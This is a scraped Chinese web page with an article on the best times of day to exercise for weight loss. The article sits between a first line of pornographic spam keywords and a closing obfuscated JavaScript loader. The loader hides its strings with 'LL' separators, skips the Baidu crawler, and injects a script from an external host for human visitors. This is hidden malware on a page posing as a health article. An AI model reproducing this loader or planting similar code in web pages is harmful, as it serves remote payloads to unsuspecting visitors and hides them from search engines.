亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥的最佳運動時間是什么時候

2017-04-22 23:45:03  來源:360常識網(wǎng)   熱度:
導(dǎo)語:減肥運動的方式有很多種,不同的身體部位需要靠不同的運動方式才能有很好的減肥效果。另外不同的人,由于身體的情況是屬于不一樣的情況,那

減肥運動的方式有很多種,不同的身體部位需要靠不同的運動方式才能有很好的減肥效果。另外不同的人,由于身體的情況是屬于不一樣的情況,那么選擇運動方式的時候也會不一樣。選擇不好運動方式的話,那么是不會有減肥效果的。那么減肥的最佳運動時間是什么時候?下面我們就來介紹下。

1.早晨運動:7:30~8:00

很多人會有晨運的習(xí)慣。由于經(jīng)過一晚上的睡眠,人的身體機(jī)能在早上未能恢復(fù)到最佳的狀態(tài),并且晨運一般安排在早餐前,如果運動時間過長、強(qiáng)度過大,造成損傷風(fēng)險大,還可能會出現(xiàn)低血糖情況。因此,早晨應(yīng)該做一些低強(qiáng)度的運動,有氧運動控制在30分鐘左右。運動形式可以選擇健步走、慢跑、太極等溫和一點的運動。

2.下午運14:00~16:00

下午2點到4點時候,大約是午餐2小時后,是通過運動強(qiáng)化肌力的好時機(jī),這時候的肌肉承受能力會比其他時候高出50%。此外,這個時間段正是一天中氣溫比較高的時候,人的體溫也升高,身體比較柔軟,這時做運動能降低運動受傷風(fēng)險。建議進(jìn)行一些力量訓(xùn)練來鍛煉肌肉,當(dāng)然也可以趁著身體柔軟,做一些伸展性的運動如瑜伽。

3.傍晚運動17:00~19:00

下午5點到7點是一天當(dāng)中最佳的運動時間,這時候人的體能到達(dá)高峰,心跳頻率和血壓上升。人們可以做一些比較高強(qiáng)度的運動,運動的時間也可以延長。此外,剛好這正是上班族們下班的時間,人們可以利用一個小時左右的完整時間來做運動減肥。但需要注意的是,運動結(jié)束一小時后方可吃晚餐。

4.晚上運動20:00~22:00

晚飯后進(jìn)行一些強(qiáng)度低的運動,減肥健身之余還可以幫助睡眠。建議晚上不要做劇烈運動,運動時間不宜過長,以免影響消化和睡眠。運動與睡覺時間最好間隔一小時以上。

上面介紹的這個時間段就是減肥的最佳運動時間了。在這個時間段內(nèi)減肥瘦身是最有效果的。除了要選擇合適的方式和時間來進(jìn)行運動減肥外。還要注意長時間的保持這樣的習(xí)慣,這樣才能讓身體一直有比較好的減肥效果。要注意反彈的情況出現(xiàn)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}